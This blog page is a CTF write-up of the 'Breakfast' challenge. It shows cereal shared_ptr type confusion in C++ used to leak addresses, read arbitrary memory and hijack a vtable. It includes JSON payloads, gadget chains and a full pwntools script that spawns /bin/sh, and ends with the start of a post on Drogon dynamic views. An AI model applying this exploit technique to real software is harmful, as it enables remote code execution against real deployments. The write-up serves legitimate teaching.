TrebledJ's Pages

Sharing is Caring: Arbitrary Code Execution for Breakfast

2025-10-03T00:00:00Z

Breakfast is a CTF challenge I designed for CrewCTF 2025. With deserialization attacks being in vogue, I wanted to explore the topic in C++ and as a result, found an interesting niche bug in the cereal library. In this writeup, we'll revisit C++ internals and explore binary exploitation techniques beyond ROP. We’ll learn how even a properly written C++ program could be vulnerable to remote code execution through insecure deserialization.

In a future post, I will share a more detailed writeup on the research. But for now, let's have fun and focus on the challenge. :)

The Challenge

The CTF has ended, but the binaries are public! If you want to try solving it or want to follow along, you can grab the challenge distribution pack here!

Name: Breakfast
Solves: 11
Difficulty: Easy-Medium?
Description:

They say breakfast is the most important meal of the day. But sometimes you just need milk to avoid Confusing your favourite Type of cereal…

The code is short, but don't let that fool you. A lot of complexity is abstracted away by the cereal library.

#include <cereal/archives/json.hpp>
#include <cereal/types/memory.hpp>
#include <cereal/types/string.hpp>
#include <iostream>
#include <memory>
#include <sstream>
#include <string>

struct Congee
{
    uint64_t ingredients[8];
    
    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(ingredients)); }

    friend std::ostream& operator<<(std::ostream& os, const Congee& c) {
        for (auto i = 0; i < std::size(c.ingredients); i++)
            os << (i == 0 ? "" : " ") << c.ingredients[i];
        return os;
    }
};

struct Toast
{
    uint64_t spread;

    Toast(uint64_t spread = 0) : spread{spread} {}
    virtual void eat() { std::cout << "Mmm- crunchy!" << std::endl; }

    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(spread)); }

    friend std::ostream& operator<<(std::ostream& os, const Toast& t) { return os << t.spread; }
};

struct Fruit
{
    std::string name;
    
    template <class Archive>
    void serialize(Archive& ar) { ar(CEREAL_NVP(name)); }
    
    friend std::ostream& operator<<(std::ostream& os, const Fruit& e) { return os << e.name;  }
};

int main(int argc, char**)
{
    std::cout << "Gonna pop to the store to buy some milk for breakfast.\n";
    std::cout << "Keep this data safe for me while I'm gone, alright?\n\n";

    std::stringstream ss;

    {
        cereal::JSONOutputArchive archive(ss, cereal::JSONOutputArchive::Options::NoIndent());
        std::shared_ptr<Congee> c = std::make_shared<Congee>();
        std::shared_ptr<Toast> t = std::make_shared<Toast>(Toast{42});
        std::shared_ptr<Fruit> f = std::make_shared<Fruit>(Fruit{"Apple"});
        archive(c, t, f);
    }
    std::string s = ss.str();
    s.erase(std::remove(s.begin(), s.end(), '\n'), s.end());
    std::cout << s << "\n\n";

    do
    {
        std::cout << "Remind me of the data again? ";
        std::string input;
        std::getline(std::cin, input);

        std::stringstream ss(input);
        cereal::JSONInputArchive archive(ss);

        std::shared_ptr<Congee> c;
        std::shared_ptr<Toast> t;
        std::shared_ptr<Fruit> f;
        archive(c, t, f);
        std::cout << "\nc: " << *c << std::endl;
        std::cout << "t: " << *t << std::endl;
        std::cout << "f: " << *f << std::endl;
        t->eat();
    } while (1);
}

The code first outputs the serialization of three types: Congee, Toast, and Fruit. Then it enters a loop which deserializes input and prints the deserialized values.

Running it in the terminal:

./breakfast
Gonna pop to the store to buy some milk for breakfast.
Keep this data safe for me while I'm gone, alright?

{"value0": {"ptr_wrapper": {"id": 2147483649,"data": {"ingredients": {"value0": 0,"value1": 0,"value2": 0,"value3": 0,"value4": 0,"value5": 0,"value6": 0,"value7": 0}}}},"value1": {"polymorphic_id": 1073741824,"ptr_wrapper": {"id": 2147483650,"data": {"spread": 42}}},"value2": {"ptr_wrapper": {"id": 2147483651,"data": {"name": "Apple"}}}}

Remind me of the data again?

C++ Internals Redux

To better understand the program and how the exploitation works, let's review some C++!

If you're familiar, you may want to skip ahead to the analysis.

What are shared pointers?

Shared pointers (std::shared_ptr) are smart pointers in C++ that enable multiple pointers to manage the lifetime of a single object. They use reference counting to track how many shared pointers point to the same dynamically allocated resource. The object is automatically deleted when the last remaining shared_ptr pointing to it is destroyed or reset. This provides automatic memory management while allowing shared ownership.

Key Point for Exploitation: Multiple shared pointers may share a single object. This often complicates serialization, and may lead to bugs if improperly implemented.

Example:

#include <iostream>
#include <memory>

class Resource {
public:
    Resource() { std::cout << "Resource acquired\n"; }
    ~Resource() { std::cout << "Resource destroyed\n"; }
    void use() { std::cout << "Resource used\n"; }
};

int main() {
    // Create a shared_ptr that manages a new Resource
    std::shared_ptr<Resource> ptr1 = std::make_shared<Resource>();
    
    {
        // Create another shared_ptr that shares ownership
        std::shared_ptr<Resource> ptr2 = ptr1;
        
        std::cout << "Inside inner scope - ";
        ptr2->use(); // Both pointers can use the resource
        
        // ptr2 will be destroyed here, but resource remains
    }
    
    std::cout << "Outside inner scope - ";
    ptr1->use(); // ptr1 still keeps the resource alive
    
    // ptr1 destroyed here → reference count reaches 0 → resource destroyed
    return 0;
}

Output:

Resource acquired
Inside inner scope - Resource used
Outside inner scope - Resource used
Resource destroyed

What are virtual tables?

A vtable (virtual table) is the mechanism that enables runtime polymorphism in C++.

Each virtual class (any class containing virtual functions) has one corresponding virtual table (vtable).

^{Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias}
The vtable stores an array of virtual functions.
Each object of a virtual class holds a virtual pointer (vpointer) which points to the vtable they are instantiated with. The vpointer is a “hidden first member” and precedes other members.

When a virtual function is called, dynamic dispatch is carried out by looking up the vtable then jumping to a function at a hard-coded offset. In assembly, this could be seen as a double dereference.

; precondition: rax contains the address of the object
mov    rdx,QWORD PTR [rax] ; first dereference (get VTable)
mov    rdx,QWORD PTR [rdx+0] ; second dereference (get function inside VTable)
call   rdx                 ; call the function

For further reading, I recommend checking out: Understanding Virtual Tables in C++ by Pablo Arias and this StackOverflow Q&A.

Key Points for Exploitation: 1) If an attacker controls the vpointer, they can hijack control flow. 2) The vpointer is the first member of any object of a virtual class.

What is an `std::string`?

We all know what a string is in programming, but what does C++'s std::string look like?

If we dig into the source code, we see the (GCC) implementation is roughly equivalent to:

template <class CharT>
struct basic_string {
    CharT* buffer;
  	size_t size; // size_t == uint64_t on 64-bit systems.
    size_t capacity;
};
using string = basic_string<char>;

Ignoring short-string optimisation and other factors, an std::string simply consists of three members: the buffer (a pointer to the actual characters), the size, and the capacity of the dynamically allocated memory.

This allows for a growable string, suitable for dynamic operations such as append, replace, and remove.

Key Point for Exploitation: If we control buffer and can observe the string, we can achieve arbitrary memory read.

Analysis

Initial Analysis

First step: Understanding what we have, aka enumeration. What protections are in place? What attack primitives are available?

Protections are typically easy to check. Running checksec, we see NX is enabled, which means shellcode is out of the question. PIE and, by default, ASLR are also enabled, so we'll want some kind of address leak to do anything useful.

Looking at the code, we see 3 classes deserialized.

struct Congee
{
    uint64_t ingredients[8];
};

struct Toast
{
    uint64_t spread;
    virtual void eat() { /* ... */ }
};

struct Fruit
{
    std::string name;
};

// ...

std::cout << "Remind me of the data again? ";
std::string input;
std::getline(std::cin, input); // Read input

std::stringstream ss(input);
cereal::JSONInputArchive archive(ss);

std::shared_ptr<Congee> c;
std::shared_ptr<Toast> t;
std::shared_ptr<Fruit> f;
archive(c, t, f); // Deserialization happens here!
std::cout << "\nc: " << *c << std::endl;
std::cout << "t: " << *t << std::endl;
std::cout << "f: " << *f << std::endl;
t->eat();

Cereal supports serialization of std::shared_ptr. But how are shared references handled?

Cereal's JSON format uses an id key for shared pointers. If id is greater than 2 << 30 (2147483648), then the object is new and memory should be allocated for it. Otherwise, the object was seen before and the old std::shared_ptr should be copied.

For instance, here's a sample JSON cereal-isation containing shared references:

[
	{"ptr_wrapper": {"id": 2147483649, "data": "..." } },
	{"ptr_wrapper": {"id": 2147483650, "data": "..." } },
	{"ptr_wrapper": {"id": 1} },
	{"ptr_wrapper": {"id": 2} }
]

In the above code example, 2147483649 and 2147483650 refer to new objects with ID 1 and 2. Memory is dynamically allocated, and object data is deserialized. Afterwards, the deserializer encounters "id": 1 which refers to the first object. No new data is deserialized, and the first std::shared_ptr is copied.

We've figured out how Cereal handles shared references, but how can we apply it to the challenge?

Well, what if we force a shared reference, even if the deserialized types are different?

Type Confusion Primitives

It turns out Cereal does not perform type checking on shared pointers. If the deserialization handles multiple types, we can abuse it for type confusion!

I'll share a deep-dive into the type confusion primitives in a future post. For now, it suffices to understand what primitives are available in this challenge and how to achieve those primitives.

Here are the types again, for reference:

struct Congee {
    uint64_t ingredients[8];
};
struct Toast {
    // uint64_t vptr; // <-- implicit vpointer member due to the virtual function
    uint64_t spread;
    virtual void eat() { /* ... */ }
};
struct Fruit {
    std::string name;
};

And the primitives available:

If we deserialize a...	followed by a...	we get...	because we...
Toast	Fruit	Address Leak (ASLR Bypass)	leak the vtable
Congee	Fruit	Arbitrary Memory Read	control string internals
Congee	Toast	Control Flow Hijacking	control the vpointer

If the table doesn't make sense, perhaps this diagram demonstrating an address leak will help:

The program thinks the memory at 0x4000 is a Fruit, but surprise!— it's actually a Toast. When Fruit::name is printed, what's actually printed is the vtable entry of Toast.

Together, these primitives are enough to obtain arbitrary code execution!

Exploitation

Great, we've found the chink in the armor. Now let's draft a plan of attack.

Leak the VTable address. (Toast → Fruit) We can use this to calculate the base address of the binary and offsets to other locations (e.g. GOT entries). This will be useful to bypass ASLR/PIE.
Leak a libc/libcpp address. (Congee → Fruit) This allows us to calculate offsets to gadgets.
Find a heap address. (Congee → Fruit) We'll need this address for the next step.
Hijack control flow to point to a crafted gadget chain. (Congee → Toast) We'll use the 64 bytes available in Congee to plant a fake vtable containing a gadget chain. When the virtual function is called, the chain is triggered.

Leaking the VTable

Leaking the vtable is rather straightforward. We simply set the id of the Fruit object to refer to the Toast object. But wait— since Fruit is a string, we should make sure the size is non-zero. Luckily, we can control the size using the spread parameter.

To recap, by type-confusing Fruit and controlling spread, we map Toast's vpointer to Fruit's string buffer and Toast's spread parameter to Fruit's string size.

{
    "value0": { // Congee (unused this time)
        "ptr_wrapper": {
            "id": 2147483649, // id = 1
            "data": {
                "ingredients": {
                    // ...
                }
            }
        }
    },
    "value1": { // Toast
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650, // id = 2
            "data": {
                "spread": 8 // Control the size of the fake string
            }
        }
    },
    "value2": { // Fruit
        "ptr_wrapper": {
            "id": 2 // Refer to the Toast object
        }
    }
}

When deserialized, t and f share the same object. When *f is printed, it will dereference the string buffer (vpointer) and print the first entry of the vtable, which is Toast::eat.

archive(c, t, f); // Deserialization happens here
std::cout << "\nc: " << *c << std::endl;
std::cout << "t: " << *t << std::endl;
std::cout << "f: " << *f << std::endl; // Vtable address leaked

We can do a quick PoC with xxd, which allows us to view nonprintable bytes. By changing the initial JSON's value1.ptr_wrapper.data.spread and value2.ptr_wrapper.id fields, we can induce the binary to spit out 8 weird bytes, which happen to be an address leak of 0x560864bd50c2! (Hint: It's in little endian, so read the leaked number backwards.)

Going Deeper

The PoC was successful. But what if things didn’t go as planned? To debug at a lower level, we can open gdb/gef/pwndbg and break after the deserialization step.

By printing t and f, we see that they share the same object.

(Note: If an image ever looks too small, try clicking and zooming in on it.)

Arbitrary Memory Read!

Now that we have an address from the binary, we can continue on our warpath by leaking a libc address. We’ll use the Congee → Fruit primitive which allows control over the properties of an std::string and grants us arbitrary memory read!

{
    "value0": { // Congee
        "ptr_wrapper": {
            "id": 2147483649, // id = 1
            "data": {
                "ingredients": {
                    "value0": %d, // Control the string buffer
                    "value1": %d, // Control the string size
                    "value2": %d, // Control the string capacity (optional)
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": { // Toast (unused this time)
        // ...
    },
    "value2": { // Fruit
        "ptr_wrapper": {
            "id": 1 // Refer to Congee object
        }
    }
}

We'll use the GOT entry of malloc as the string buffer. GOT entries are a fixed relative offset in the binary, so we can calculate it using our earlier vtable leak. When the string is printed, the GOT entry will be dereferenced and the address of malloc printed.

got_malloc = vtable_addr - e.sym['_ZN5Toast3eatEv'] + e.got['malloc']
bytes_ = send_json(mem_read_json % (got_malloc, 8, 32)) # % (buffer, size, capacity)
malloc_addr = u64(bytes_)
libc_base = malloc_addr - libc.sym['malloc']

Finding the Heap Address

Why do we need a heap address?

During the final stage of type confusion, we will be controlling a malicious vpointer (not the vtable!). To actually get control flow hijacking, we want the vpointer to point to a vtable, which will be our custom-crafted payload placed among the 7 remaining quadwords of Congee. Thus, we need a heap address to the chunk where Congee will be allocated.

_(collapse)

To get a heap address leak, we can use the same memory read primitive and target an address which contains a heap address. There are several approaches.

One way is to obtain the main arena, which can be found from libc offset +0x203ac0. This then necessitates a convoluted hunt for heap addresses through a sea of indirection.

main_arena_offset = 0x203ac0
main_arena_bins_offset = main_arena_offset + (0xb30 - 0xac0)
main_arena_bins_size = 0x7f0
bytes_ = send_json(mem_read_json % (libc_base + main_arena_bins_offset, main_arena_bins_size, main_arena_bins_size))
# More convoluted parsing...

Alternatively, a simpler method I observed from submissions is to take advantage of the cereal::base64::chars string declared globally in the binary.

namespace cereal
{
  namespace base64
  {
    static const std::string chars =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
      "abcdefghijklmnopqrstuvwxyz"
      "0123456789+/";

By reading from this memory, we can leak the heap-allocated buffer of cereal::base64::chars.

base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)

For the sake of simplicity, we'll stick with the cereal::base64::chars method.

Finding Congee's Address

By observation, Congee’s address remains unchanged between iterations. This means if we know the address of Congee this iteration, we can reuse that address next iteration.

Interestingly, the offset of c from the heap's base address is constant, and we can calculate it to be +0x131c0… at least locally.

Finding Congee's Address: Less Hacky Method

Perhaps that seems too hacky or inelegant to some. What if the offset was random? That would likely be the case in a more complex C++ program, one with heaps of memory allocation and deallocation. In that case, I offer an alternative approach.

We can use the bytes in Congee to store a canary/needle— some kind of fixed string or pattern. Using our leaked heap address as a reference, we'll perform a giant memory read (e.g. 0x1000 bytes) and look for the needle.

In the following code, we'll look for the fixed pattern ABCD (0x41424344) in Congee.

# Find a heap address
base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)
print(f'{heap_addr=:#x}')

# Find the Congee chunk
length, needle = 0x1000, 0x41424344
bytes_ = send_json(mem_read_json % (heap_addr, length, needle))
assert len(bytes_) == length, f'expected to read {length} bytes'
assert p64(needle) in bytes_, 'unable to find needle in the haystack, maybe try a larger search length?'
found_addr = heap_addr + bytes_.index(p64(needle)) - 16
print(f'FOUND THE CONGEE CHUNK! - {found_addr=:#x}')

Arbitrary Code Execution (ACE) via Gadget Chains

We finally have enough information to get code execution! To do so, we will construct a gadget chain in Congee and craft the payload such that the virtual function call t->eat() will trigger the chain.

^{1) When toast->eat() is called, the vtable is looked up. Due to type confusion, it actually uses a vpointer we control. 2) We control the vpointer to point to a vtable within the same Congee payload. The vtable contains a gadget which is called.}

Essentially, by controlling the vpointer and vtable, we control the virtual function being called. But how do we craft a malicious function? The answer lies in gadgets.

PCOP / JOP

Classic ROP gadgets end in ret. Upon hitting the ret, the Instruction Pointer is set to the next item on the stack. Hence, gadgets could be chained by writing a block of memory to the stack.

PCOP/JOP is similar, but end in different instructions.

PCOP (Pure Call Oriented Programming): ends in call SOMETHING which directly jumps to the next gadget
JOP (Jump Oriented Programming): ends in a jmp/call which jumps to a dispatcher, before jumping into a table of gadgets. The dispatcher's job is to increment a "gadget pointer" before jumping to the next gadget. ¹
```
dispatch:
  add rax, 8
  jmp [rax]
```
Assembly

The advantage of PCOP/JOP is that they don't rely on the stack, preferring instructions such as mov and call over stack-based instructions such as pop and ret.

ROP Gadget: pop rax; ret.
PCOP/JOP Gadget: mov rax, [rdi+8]; call [rax+0x10]

Approach 1: libstdc++ & One-Gadget

Funnily enough, this was the first working solution I came up with— and it's also the shortest payload I've seen so far (4 quads!).

A One-Gadget is a gadget which pops a shell if certain conditions are met. We can find these gadgets using the one_gadget tool.

one_gadget -f /usr/lib/x86_64-linux-gnu/libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

Looks like we found 4 one-gadgets. Each gadget lists the offset along with the constraints required to successfully trigger a shell. But to satisfy the constraints, we should first understand the state of the registers at the moment the virtual function is called. This calls for some breakpoints!

^{Disassembly and registers upon reaching Toast::eat(), reachable via b *main+1121; si.}

By navigating to Toast::eat(), we notice the following interesting register states:

rax == rdi: non-controllable, address of virtual object (&*t)
rdx: controllable, first address to jump to
rsi == r13 == 0

Our attention then turns to fulfilling the one-gadget constraints. I decided to look for gadgets supporting the third one-gadget (offset 0xef4ce) due to the relatively simple conditions: we just need rbx = r12 = 0. We can hunt for gadgets with tools such as ROPgadget or xgadget. The gadgets we're looking for should:

Overwrite (or provide some control over) the desired registers.
The call instruction of each gadget should jump to a controllable location, such as an offset within Congee— call [rax+0x10].
We should also exclude gadgets relying on the stack. This means any gadget containing pop, leave, and ret.²

^{Output of xgadget --reg-overwrite r12 --jop /usr/lib/x86_64-linux-gnu/libstdc++.so.6. We found a useful mov r12, rsi gadget which sets r12 to 0. Additionally, the gadget will go to [rax+0x10] meaning we can place another gadget at the +0x10 offset to continue the chain.}

After a while, we ended up with two simple gadgets from libstdc++. Constructing the final payload is simply a matter of cooking congee with the right ingredients:

{
    "value0": { // Congee
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d, // Control the vpointer
                    "value1": %d, // Rest of the payload, gadgets, etc...
                    "value2": %d, // ...
                    "value3": %d, // ...
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": { // Toast
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 1 // Refer to the Congee object
        }
    },
    "value2": { // Fruit (unused)
        // ...
    }
}

Congee Ingredients:

Offset	Value	Purpose
`0x00`	address of Congee + `0x08`	vpointer, points to offset `0x08`
`0x08`	`libstdcpp + 0xf0a0c`	first gadget, `mov r12, rsi; call qword ptr [rax+0x10];`
`0x10`	`libstdcpp + 0xf5e83`	second gadget, `mov rbx, rsi; ... call qword ptr [rax+0x18];`
`0x18`	`libc + 0xef4ce`	one-gadget, sweet sweet code execution!

The gadget flow is extremely straightforward:

VTable is at Congee address + 0x08 →
gadget at 0x08 (set r12 to 0) →
gadget at 0x10 (set rbx to 0) →
gadget at 0x18 (one-gadget ACE).

Putting it all together, we get ACE.

Approach 2: `system("/bin/sh")` Gadget Chain

Credit: Adapted from @erge’s and @lolc4t’s solutions.

I'm sure this gadget chain feels closer to home for ROPpers. The chain works by setting rdi to "/bin/sh" and calling the system function. Despite the need for 6 quads in Congee, I find the chain rather fascinating as it condenses multiple steps into 2 clever gadgets.

Another nice aspect about this chain is that it does not rely on too much register state, only rax and rdi are used. (The libstdc++ and one-gadget chain rely on rsi = 0 which may not always be the case.)

Congee Ingredients:

Offset	Value	Purpose
`0x00`	address of Congee + `0x10`	vpointer
`0x08`	address of Congee + `0x18`	address of [system, binsh, gadget2] structure
`0x10`	`libc + 0x1740b1`	first gadget, `mov rax, [rdi+8]; call [rax+0x10]`
`0x18`	`system`	sweet sweet code execution!
`0x20`	`&"/bin/sh"`	address of any `/bin/sh` string
`0x28`	`libc + 0xa5688`	second gadget, `mov rdi, [rax+8]; call [rax]`

Here's the call flow:

VTable is at Congee address + 0x10 →
gadget at 0x10 (set rax to *(rdi+0x08), i.e. the second Congee entry, or in other words: rax = rax + 0x18) →
gadget at 0x28 (set rdi to "/bin/sh") →
gadget at 0x18 (system ACE).

To make this gadget chain work, we require the system, binsh, and 0xa5688 gadget to be contiguous in memory. This is because after mov rax in the first gadget, the subsequent assembly will call [rax+0x10], which triggers the second gadget to copy [rax+0x08] before call [rax]. Each entry in this relative +0x10, +0x08, and +0x00 structure has their unique role to play.

The order of the other gadgets don’t matter as much. Here’s one of the solves from the CTF community. Notice how the first gadget (libc + 0x1740b1) is placed at the end of the Congee payload instead of at offset 0x10.

'ingredients': {
	'value0': target_addr + 0x38, # <-- target_addr, rax, rdi
	'value1': target_addr + 0x10,
	'value2': libc.sym.system,
	'value3': next(libc.search(b'/bin/sh')),
	'value4': libc_base + 0xa5688, # mov rdi, [rax+8]; call [rax]
	'value5': 0x4646464646464646,
	'value6': 0x4747474747474747,
	'value7': libc_base + 0x1740b1, # mov rax, [rdi+8]; call [rax+0x10]
}

^{Alternative solution by @lolc4t.}

Conclusion

This was an interest challenge to make as it helped refresh my binary exploitation skills despite me sucking at pwn challenges. I was also happy that players came up with different solutions, challenging my biases on what makes a successful gadget chain.

Overall, this has been a fun experience exploring and exploiting a niche use case of C++ serialization libraries. I have a few variant challenges I might present in future CTFs. We'll see if they make it out.

Special thanks to thehackerscrew CTF team for hosting my CTF challenge and to the players who opened my mind by sharing their solves.

Solve Script

from pwn import *
import re

# context.log_level = 'debug'
p = process(['breakfast'])
e = ELF('breakfast')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libcpp = ELF('/usr/lib/x86_64-linux-gnu/libstdc++.so.6')

vtable_leak_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": 0,
                    "value1": 0,
                    "value2": 0,
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "spread": 8
            }
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 2
        }
    }
}"""

mem_read_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d,
                    "value1": %d,
                    "value2": %d,
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "spread": 0
            }
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 1
        }
    }
}"""

vptr_hijack_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d,
                    "value1": %d,
                    "value2": %d,
                    "value3": %d,
                    "value4": %d,
                    "value5": %d,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 1
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "name": "Apple"
            }
        }
    }
}"""


def send_json(contents: str, skip_output=False):
    line = re.sub(r'\s+', '', contents)
    p.sendline(line.encode())

    if skip_output:
        return None
    
    # Parse output....
    p.recvuntil(b'\nc: ')
    _data1 = p.recvuntil(b'\n', drop=True)

    p.recvuntil(b'\nf: ')
    bytes3 = p.recvuntil(b'\nMmm- crunchy!', drop=True)

    return bytes3


print('\nleak vtable address')
bytes_ = send_json(vtable_leak_json)
vtable_addr = u64(bytes_)
print(f'{vtable_addr=:#x}')

print('\nfind libc address')
got_malloc = vtable_addr + e.got['malloc'] - e.sym['_ZN5Toast3eatEv']
print(f'{got_malloc=:#x}')
bytes_ = send_json(mem_read_json % (got_malloc, 8, 32))

malloc_addr = u64(bytes_)
print(f'{malloc_addr=:#x}')
libc_base = malloc_addr - libc.sym['malloc']
print(f'{libc_base=:#x}')
assert (libc_base & 0xfff) == 0

print('\nfind libc++ address')
got_throw = vtable_addr + e.got['__cxa_throw'] - e.sym['_ZN5Toast3eatEv']
print(f'{got_throw=:#x}')
bytes_ = send_json(mem_read_json % (got_throw, 8, 32))

throw_addr = u64(bytes_)
libcpp_base = throw_addr - libcpp.sym['__cxa_throw']
print(f'{libcpp_base=:#x}')
assert (libcpp_base & 0xfff) == 0

print('\nleak the heap')
base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)
print(f'{heap_addr=:#x}')

print('\nfind the congee chunk')
length, needle = 0x1000, 0x41424344
bytes_ = send_json(mem_read_json % (heap_addr, length, needle))
assert len(bytes_) == length, f'expected to read {length} bytes'
assert p64(needle) in bytes_, 'unable to find needle in the haystack, maybe try a larger search length?'
found_addr = heap_addr + bytes_.index(p64(needle)) - 16
print(f'FOUND THE CONGEE CHUNK! - {found_addr=:#x}')

"""
# one_gadget -f /usr/lib/x86_64-linux-gnu/libc.so.6

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
"""

# 
# Approach 1: One-Gadget
# 

set_r12_0_gadget = libcpp_base + 0xf0a0c
set_rbx_0_gadget = libcpp_base + 0xf5e83
one_gadget_addr = libc_base + 0xef4ce
send_json(vptr_hijack_json % (
    found_addr + 0x08,
    set_r12_0_gadget,
    set_rbx_0_gadget,
    one_gadget_addr,
    0,
    0,
), True)

# 
# Approach 2: system("/bin/sh")
# 

# send_json(vptr_hijack_json % (
#     found_addr + 0x10,
#     found_addr + 0x18,
#     libc_base + 0x1740b1,
#     libc_base + libc.sym.system,
#     libc_base + next(libc.search(b'/bin/sh')),
#     libc_base + 0xa5688,
# ), True)

p.interactive()

Flag

crew{Pu2e_C3real_OrieNteD_Pro9ramM!ng_i5_wh@t_i_l1ke_to_cal1_it}

Footnotes

For further reading on JOP, I recommend reading this StackExchange answer: Security.SE: Concept of Jump-Oriented-Programming (JOP). It provides an excellent summary and brief history on ROP/JOP. ↩︎
We exclude stack-based gadgets to simplify the exploit, even if an attack with such gadgets may be possible. The reason for doing so is that we don’t have direct control over stack memory. We would need the help of gadgets to push/modify the stack. Even then, modifying the stack without fine-grained control potentially crashes the program. So we explore other alternatives first. ↩︎

Dynamic Views Loading – Abusing Server Side Rendering in Drogon

2024-08-18T00:00:00Z

Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from exploring zip attacks in Juce to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).

In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?¹

At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?

This turned out to be a fascinating endeavour, as there happen to be a ton of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.

^{Every time I find an unintended solution, a new one is just around the corner.}

Drogon Redux

Drogon is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.

Drogon's server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as <%inc ... %>, <%c++ ... %>, and {% ... %}, which are evaluated when rendered.

Simple View Example

Here's a simple example of a CSP:

<!DOCTYPE html>
<html>
<body>
<%c++ if (true) { %>
    <h1>Hi [[ name ]]</h1>
<%c++ } else { %>
    <h1>Bye [[ name ]]</h1>
<%c++ } %>
</body>
</html>

We can specify C++ control-flow logic with <%c++ ... %> and substitute variables with [[ ... ]].

To render this file, we'll call newHttpViewResponse and pass a name from the URL endpoint:

app().registerHandler(
    "/hello/{}",
    [](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& name) {
        HttpViewData data;
        data.insert("name", name);
        auto resp = HttpResponse::newHttpViewResponse("Example.csp", data);
        callback(resp);
    });

After starting the server, we can run curl 127.0.0.1:8080/hello/Picard and observe the following HTML:

<!DOCTYPE html>
<html>
<body>
    <h1>Hi Picard</h1>
</body>
</html>

Why Use Dynamic Views?

This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.

To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:

"load_dynamic_views": true,
"dynamic_views_path": ["./views/d"],

or use the C++ equivalent:

app().enableDynamicViewsLoading({"./views/d"}, "./views/d");

Drogon will then actively monitor the file path for new/modified .csp files.

Dynamic Views: Compilation and Loading

How do dynamic views work in Drogon?

After all, C++ is compiled, not interpreted.

But it's possible to load compiled code at runtime through shared objects. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:

